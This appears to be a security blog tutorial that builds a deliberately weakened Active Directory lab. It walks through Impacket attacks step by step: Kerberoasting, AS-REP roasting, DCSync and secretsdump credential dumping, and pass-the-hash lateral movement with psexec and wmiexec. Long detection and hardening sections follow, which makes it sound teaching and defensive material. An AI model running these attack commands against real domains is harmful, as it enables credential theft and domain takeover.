Impacket from Scratch: Kerberoasting, DCSync, and Lateral Movement in a Lab
If BloodHound is the map of an Active Directory attack, Impacket is the vehicle you drive along it. It is a collection of Python scripts that speak Windows network protocols — SMB, Kerberos, LDAP, MS-RPC, DCOM — fluently enough to do almost anything a real Windows host can do, from a Linux box that was never invited to the domain.
Kerberoast a service account. Dump every password hash in the domain. Get a SYSTEM shell on a server across the network. Relay an authentication you tricked out of someone into full LDAP access. Impacket does all of it, and it is completely free and open source (maintained today by Fortra).
Here is the thing that makes Impacket worth understanding rather than just running: almost none of it is exploiting a bug. It is speaking the protocols correctly. That is exactly why you cannot patch these attacks away — you have to harden and monitor. This article builds a lab, walks the major techniques end to end, and — as always on this blog — spends as much time on catching them as on doing them.
Before we start: the ground rules
You are about to learn techniques that dump domain credentials. Take these seriously.
- Lab only, unless you have written authorization. Everything here is illegal against systems you do not own or have explicit permission to test. A pentest scope document or a lab you built yourself — those are fine. Nothing else is.
- Do not connect the lab to a production network. You will deliberately weaken this domain. Keep it isolated.
- The defensive half is not optional. If you only learn the attacks, you have learned half a skill and the less valuable half. The event IDs in Part 8 are the reason this article exists.
- Snapshot your VMs first. You will run destructive things. Be able to roll back.
Part 1 — Two ideas that explain every attack here
You do not need to be a Kerberos expert. You need two mental models, and everything downstream follows from them.
Idea 1: with NTLM, the hash is the credential. When a Windows machine authenticates you over NTLM, it never sends your password — it proves it knows the password's hash via a challenge/response. The practical consequence is brutal: if an attacker steals your NT hash, they can authenticate as you without ever cracking it. This is pass-the-hash, and every Impacket tool accepts -hashes LMHASH:NTHASH anywhere it would take a password.
Idea 2: with Kerberos, service tickets are encrypted with the service account's key. When you want to use a service (a SQL server, say), you ask the Domain Controller for a ticket, and the DC hands you one encrypted with the service account's password-derived key. Any authenticated user can request a ticket for any service. So an attacker requests tickets, takes them offline, and brute-forces the service account's password against them at their leisure. This is Kerberoasting, and there is no lockout and no logging on the cracking part because it happens on the attacker's own machine.
Both are the protocols behaving exactly as designed. Sit with that. It is why the fixes in Part 9 are about configuration and hygiene, not patches.
Part 2 — Build the lab
If you built the lab from the BloodHound tutorial, you already have most of this. If not, the short version:
- DC01 — Windows Server 2022/2025 (free evaluation ISO), promoted to a domain controller for
lab.local. Microsoft's Server eval runs 180 days, which is plenty. - FILE01 — a second domain-joined Windows box (Server or Windows 10/11 Enterprise eval) to practice lateral movement against.
- ATTACKER — Kali Linux, where Impacket lives.
Put them on an isolated virtual network and snapshot all three.
Then plant the deliberately weak things this article needs. On DC01:
# a service account with an SPN and a crackable password
New-ADUser -Name svc_sql -SamAccountName svc_sql -ServicePrincipalNames "MSSQLSvc/db01.lab.local:1433" `
-AccountPassword (ConvertTo-SecureString "Summer2019!" -AsPlainText -Force) -Enabled $true
# make it dangerous: put the service account in Domain Admins (this is sadly common in the wild)
Add-ADGroupMember -Identity "Domain Admins" -Members svc_sql
# an account with Kerberos pre-auth disabled, for AS-REP roasting
New-ADUser -Name svc_legacy -SamAccountName svc_legacy `
-AccountPassword (ConvertTo-SecureString "Password1" -AsPlainText -Force) -Enabled $true
Set-ADAccountControl -Identity svc_legacy -DoesNotRequirePreAuth $true
# an ordinary user to be your starting foothold
New-ADUser -Name jdoe -SamAccountName jdoe `
-AccountPassword (ConvertTo-SecureString "Password123!" -AsPlainText -Force) -Enabled $true
That gives you a stale-password domain admin service account, a roastable legacy account, and a low-privileged foothold — the three ingredients for the whole article.
Part 3 — Install Impacket (and the naming trap)
There is one thing about installing Impacket that trips up literally everyone once, so let me get it out of the way first.
On Kali, install the impacket-scripts package — not just python3-impacket. The library package alone only puts five wrappers on your PATH; impacket-scripts adds the other ~56.
sudo apt update
sudo apt install -y impacket-scripts hashcat
The commands are then dash-prefixed and keep their original capitalization: impacket-secretsdump, impacket-GetUserSPNs, impacket-wmiexec. Note that impacket-getuserspns (all lowercase) will not work — case matters, because each command is a symlink named after the original script file.
On any other distro, install from PyPI with pipx (a plain pip install is blocked by PEP 668 on modern systems):
python3 -m pipx install impacket
That gives you the scripts under their original filenames including .py: secretsdump.py, GetUserSPNs.py, wmiexec.py.
So which do you type? The rule that keeps you sane:
The script filename is the tool's real identity. On a pipx/source install you type the filename (
GetUserSPNs.py). On Kali you typeimpacket-plus that filename with.pyremoved (impacket-GetUserSPNs). Same tool, same arguments, same output.
Every command below is shown in the Kali impacket- form. If you installed with pipx, mentally swap impacket-getuserspns → GetUserSPNs.py and so on.
One more universal convention: Impacket targets are written domain/user:password@host, and the common auth flags are -hashes LMHASH:NTHASH (pass-the-hash), -k -no-pass (use a Kerberos ticket from KRB5CCNAME), and -dc-ip (point at a specific Domain Controller).
Part 4 — Enumerate with a single low-privileged account
Everything starts from one ordinary domain user. You do not need admin to learn an alarming amount.
# every user account, with when each password was last changed
impacket-GetADUsers -all -dc-ip 192.168.56.10 lab.local/jdoe
# walk the RID space to list users and groups
impacket-lookupsid lab.local/jdoe@192.168.56.10
# which RPC interfaces does the DC expose? DRSUAPI = replication = DCSync is possible
impacket-rpcdump 192.168.56.10 | grep -i drsr
The password-last-set column is quietly one of the most useful things here. A service account whose password has not changed since 2019 is almost certainly using a weak, human-chosen password — because if it used a long random one, someone would have had to rotate it, and they clearly did not.
Part 5 — Kerberoasting
Now use Idea 2. Ask the DC for service tickets for every account that has an SPN, and crack them offline.
impacket-GetUserSPNs -request -dc-ip 192.168.56.10 lab.local/jdoe -outputfile roast.txt
That returns the SPNs, and with -request, the crackable ticket hashes. Then, entirely on your own machine:
hashcat -m 13100 roast.txt /usr/share/wordlists/rockyou.txt
In the lab, svc_sql cracks to Summer2019!. And because we put svc_sql in Domain Admins, that one crack is the whole domain. This is not a contrived scenario — service accounts with SPNs, weak passwords, and excessive privileges are one of the most common paths to domain compromise in real assessments.
The devastating part is that the cracking happens offline. The DC logged that you requested tickets (we will use that in Part 8), but it has no idea you are now grinding them against a wordlist on a laptop with no lockout, no rate limit, and no further logging.
Part 6 — AS-REP roasting
There is an even cheaper cousin. Some accounts have "Do not require Kerberos pre-authentication" set — a legacy compatibility option. For those accounts, you can request authentication data and crack it without any credentials at all.
# with a username list and no credentials at all:
impacket-GetNPUsers -dc-ip 192.168.56.10 -request -usersfile users.txt -format hashcat lab.local/
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
The catch is that you need to know (or guess) usernames, and only accounts with pre-auth disabled are vulnerable. But when it works, it works before you have authenticated to anything — which is why it is often step one on an internal engagement.
The defender's version of this is a one-line audit, and you should run it today:
Get-ADUser -Filter { DoesNotRequirePreAuth -eq $true } | Select Name
That list should be empty. If it is not, each name is an account anyone on your network can start cracking anonymously.
Part 7 — secretsdump: dumping the keys to the kingdom
secretsdump.py is Impacket's crown jewel. It is really three attacks in one tool, at three different trust levels.
A) DCSync — if your account has replication rights (Domain Admins do, which is why the Kerberoast mattered), you can ask the DC to replicate secrets to you, exactly as another DC would:
impacket-secretsdump -just-dc-user krbtgt lab.local/svc_sql:'Summer2019!'@192.168.56.10
The krbtgt hash you get back is the domain's master signing key. With it, an attacker forges Golden Tickets — self-issued Kerberos tickets for any user — and can persist in the domain even after every password is reset. Recovering from a krbtgt compromise means rotating that account's password twice, carefully. It is one of the worst things that can happen to an AD.
B) Local SAM + LSA secrets — with local admin on any one machine, dump its local accounts and, crucially, its LSA secrets, which frequently include plaintext service-account passwords the machine has cached:
impacket-secretsdump lab.local/adm_bob@192.168.56.20
This is why "just local admin on one server" is never just anything.
C) Offline — from a stolen NTDS.dit (the AD database) plus the SYSTEM registry hive, dump the entire domain with no network access at all:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
Part 8 — Lateral movement
Once you have a credential — a password, a hash, or a ticket — Impacket gives you several ways to run commands on a remote Windows host. They differ mostly in how much noise they make.
# psexec.py — reliable SYSTEM shell, but the loudest (creates a service, drops a binary)
impacket-psexec lab.local/adm_bob:'P@ssw0rd'@192.168.56.20
# wmiexec.py — no service, no binary on disk; the quiet default for most operators
impacket-wmiexec lab.local/adm_bob:'P@ssw0rd'@192.168.56.20
# pass-the-hash — no password required
impacket-wmiexec -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 lab.local/adm_bob@192.168.56.20
# or with a Kerberos ticket and no secret at all
export KRB5CCNAME=adm_bob.ccache
impacket-wmiexec -k -no-pass lab.local/adm_bob@file01.lab.local
Which one an operator picks is a forensics decision, and understanding the trade-off is what lets you detect the choice:
Part 9 — Detecting all of this
This is the half that matters. Every technique above leaves tracks; the job is knowing which event to watch and turning it on before the incident.
psexec.py — a new service (7045 in the System log; 4697 in Security if Audit Security System Extension is on). The service name is four random letters and the binary is eight random letters + .exe. A beautiful high-fidelity tell: the named pipe over IPC$ (event 5145) is \RemCom_communicaton — misspelled in Impacket's own source code (missing an i). Almost nothing legitimate opens a pipe with that exact typo.
wmiexec.py — no service, so no 7045. Instead look for process creation (4688) where the parent is WmiPrvSE.exe, with the unmistakable command line:
cmd.exe /Q /c <command> 1> \\127.0.0.1\ADMIN$\__<epochtime> 2>&1
That \\127.0.0.1\ADMIN$\__<epoch> output redirection is the signature — it is how wmiexec retrieves command output. (4688 records the command line only if the "Include command line in process creation events" policy is enabled — enable it.) The WMI-Activity/Operational log 5857 shows the provider loading. Note: 5860/5861 are WMI persistence events, not wmiexec — do not conflate them, a common blog error.
smbexec.py — creates a new service per command, so you see 7045 repeated and frequently 7009 (service timeout) because of how it works.
atexec.py — a scheduled task: 4698 (task created) in Security, with the full task XML in the event body showing the cmd.exe action, and 4699 when it deletes the task afterward.
secretsdump.py / DCSync — this is the important one. On the DC, event 4662 with:
AccessMask=0x100(Control Access), andPropertiescontaining the replication extended-right GUIDs:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2— Replicating Directory Changes1131f6ad-9c07-11d1-f79f-00c04fc2dcd2— Replicating Directory Changes All
The high-value triage: legitimate replication only comes from other Domain Controllers. So alert on 4662 with those GUIDs where SubjectUserName does not end in $ (i.e., is not a machine/DC account) — and remember to whitelist your directory-sync service accounts (MSOL_* for Entra Connect syncs legitimately). Correlate with a 4624 Type 3 on the DC from a non-DC source IP.
Verify this in your lab, do not just trust me. Whether the default domain SACL is enough to generate 4662 for DCSync, or whether you must add an explicit SACL, is genuinely ambiguous in Microsoft's own docs. Enable Audit Directory Service Access: Success and confirm the event actually fires in your lab before you rely on it in production.
Kerberoasting — event 4769 (service ticket requested) with Ticket Encryption Type 0x17 (RC4). Legitimate modern tickets are usually AES (0x12), so a burst of 0x17 requests is a strong signal. (Fair warning: Microsoft's own docs contain a contradictory table that maps RC4 to 0x18; the authoritative "Ticket Encryption Type" value for RC4-HMAC is 0x17.)
AS-REP roasting — event 4768 (authentication ticket requested) with Pre-Authentication Type 0.
ntlmrelayx.py — on the relay target, 4624 Type 3 with LogonProcess = NtLmSsp; at the DC, 4776 where the Workstation field is an attacker-chosen name. Also watch the Directory Service log for 2886–2889 (LDAP signing not required) — those are telling you about the gap the relay abuses.
Turn the logging on first. None of this works without it: enable Audit Directory Service Access (4662), Audit Kerberos Service/Authentication (4769/4768), Audit Security System Extension (4697), Audit Process Creation + command line (4688), and forward DC logs somewhere you can query them. If you run Microsoft Defender for Identity, many of these map to built-in detectors (Suspected DCSync — 2006, Security principal reconnaissance — 2038, and the newer xdr_* equivalents).
Part 10 — Defending against it
Detection tells you it happened. These reduce whether it can.
- Kerberoasting → gMSA (Group Managed Service Accounts) give service accounts 240-bit passwords the system rotates automatically, so cracking is hopeless. Where gMSA is not feasible, use 25+ character passwords. And disable RC4 for Kerberos so tickets use AES (test carefully — RC4 removal can break legacy things).
- AS-REP roasting → never disable Kerberos pre-authentication. Audit for it (the one-liner in Part 6) on a schedule.
- Pass-the-hash → Windows LAPS for unique per-machine local admin passwords, and Credential Guard to keep hashes out of reach of a compromised host. Never reuse local admin passwords across machines.
- NTLM relay → require SMB signing and LDAP signing + channel binding. Microsoft has been steadily changing these defaults toward "on" in recent Windows releases, but do not assume — verify. The end goal is to retire NTLM entirely.
- DCSync → audit who holds replication rights (
Replicating Directory Changes/...All). It should be a very short, deliberate list: DCs and your directory-sync account, nothing else. - Lateral movement (psexec/wmiexec) → a tiered admin model. Microsoft's current guidance is the Enterprise Access Model (the older "ESAE / Red Forest" design has been retired as a general recommendation). The core rule: a Tier 0 credential must never authenticate to a Tier 1/2 host, because that is what turns one compromised server into domain compromise.
- Credential theft generally → the Protected Users group, Remote Credential Guard, and restricted admin mode for RDP all reduce what an attacker can harvest from memory.
Notice how little of this is a product purchase. It is identity hygiene and protocol hardening — unglamorous, and far more effective than another endpoint agent.
Part 11 — Tear the lab down
Revert your VM snapshots, or at minimum power the lab off and keep it off any real network. If you cracked real-looking passwords, do not reuse those habits or wordlists carelessly.
Where to go next
- Run BloodHound against this same domain — the companion tutorial — and watch it draw the exact
svc_sql → Domain Admins → DCSyncpath you just walked by hand. Seeing both views of one domain is where AD security clicks. - Practice the detections. Run each technique with Windows auditing on, then go find the event you expected. Half the time you will discover the log was not enabled — which is the real lesson.
- Try
-kKerberos auth end to end —getTGT.pyto request a ticket, then run tools with-k -no-pass. Understanding ticket-based auth is the gateway to the more advanced attacks (delegation abuse, S4U, Golden/Silver tickets). - Read the source. Impacket's
examples/directory is one of the best ways to actually learn how these protocols work on the wire. The tools are short and readable.
Further reading
- Impacket — source, and the
examples/directory - Impacket on Kali — the packaging specifics
- MITRE ATT&CK T1558.003 — Kerberoasting
- MITRE ATT&CK T1003.006 — DCSync
- MITRE ATT&CK T1550.002 — Pass the Hash
- Microsoft: Enterprise Access Model
- Microsoft: Group Managed Service Accounts
- The Hacker Recipes — deep, well-referenced write-ups of every technique here
A note on the figures: they are authored illustrations rendered in this site's style, showing the commands and output you should expect at each step, not captures from one specific host. Version strings, generated service names, and hashes in your lab will differ. Tool behavior and Windows event details change between releases — the linked official documentation wins over any tutorial, including this one. A few detection signatures shown here (for example the exact artifacts of some execution methods) can vary by Impacket version; confirm against the version you are running before building alerts on them.
Founder · Packet.Zip
Aamir Lakhani is a leading senior security strategist responsible for providing IT security solutions to major enterprises and government organizations. He creates technical security strategies and leads security implementation projects for…